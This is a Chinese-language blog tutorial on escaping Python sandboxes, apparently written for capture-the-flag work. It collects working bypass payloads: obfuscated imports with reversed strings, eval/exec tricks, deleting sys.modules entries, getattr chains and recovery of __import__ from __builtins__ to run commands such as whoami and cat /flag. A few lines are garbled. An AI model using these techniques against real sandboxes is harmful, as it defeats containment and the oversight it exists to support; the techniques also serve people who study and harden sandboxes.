python沙箱逃逸


原理

沙箱会禁用一些危险函数,通过花式调用库函数可以逃逸出沙箱的防护,最终达到执行系统命令的目的。

在python中执行系统命令的方式

os: os.system  os.p  
commands:仅限2.x
subprocess.run
timeit:timeit.sys、timeit.timeit("__import__('os').system('whoami')", number=1)
platform:platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()
pty:pty.spawn('ls')、pty.os
bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys

花式import

import os
import  os
import   os
__import__('os')
importlib.import_module('os').system('ls')
execfile('/usr/lib/python2.7/os.py')   system('ls')  # 仅python2支持

with open('/usr/lib/python2.7/os.py','r') as f:
    exec(f.read())
system('ls')

# 查看库的路径
import sys    print(sys.path)

花式处理字符串

代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os

__import__('so'[::-1]).system('ls')

a='o'  b='s'  __import__(a+b).system('ls')

还可以利用evalexec

>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])   ==>   eval('__import__("os").system("whoami")')

>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])    ==>  exec('import os;os.system("whoami")')

eval、exec 都是相当危险的函数,execeval 还要危险,它们一定要过滤,因为字符串有很多变形的方式,对字符串的处理可以有:逆序、变量拼接、base64、hex、rot13…等等,太多了。。。

恢复 sys.modules

sys.modules 是一个字典,里面储存了加载过的模块信息。启动python会自动加载模块,然后加载入modules的模块被导入的时候就不需要重新加载,如果modules中不存在该模块的话则需要重新加载

沙箱中一般会这样设置

sys.modules['os'] = 'not allowed'   使得os模块不可用,但modules中是存在os模块的

如果我们这样

del sys.modules['os'] 
# 将modules中的os模块删掉,然后import os 的时候,python就会重新加载os,从而绕过上面沙箱设置的os不可用
import os

花式执行函数

如果把 system 这个函数干掉,也没法通过os.system执行系统命令,并且这里的system也不是字符串,也没法直接做编码等等操作。

但是os中能执行系统命令的函数还有很多

print(os.system('whoami'))
print(os.popen('whoami').read()) 
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x

其次,可以通过 getattr 拿到os的方法和属性,来实现system的使用:

import os
getattr(os,'metsys'[::-1])('ls')

如果连import也不让出现,则利用getattr拿到import再上一级__builtins__的方法和属性来实现import的调用

getattr(__builtins__,'__tropmi__'[::-1]('so'[::-1]),'metsys'[::-1])('ls')

__builtins__

python中有些不需要import就可以使用的函数如open chr eval exec等,就是因为有内建模块__builtins__,它有一些常用函数,变量和类

>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
macr0phag3
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True
>>>gmpy2.__builtins__['eval']("os.popen('cat /flag').read()")

但是,沙箱可能会禁用或者将内建模块里面的危险函数删掉

__builtins__.__dict__['eval'] = 'not allowed'
del __builtins__.__dict__['eval']

我们可以reload,在python2中reload的是内建的,python3中需要import imp;imp.reload

通过继承关系逃逸

参考链接:https://www.freebuf.com/articles/system/203208.html


文章作者: 0x00dream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0x00dream !
  目录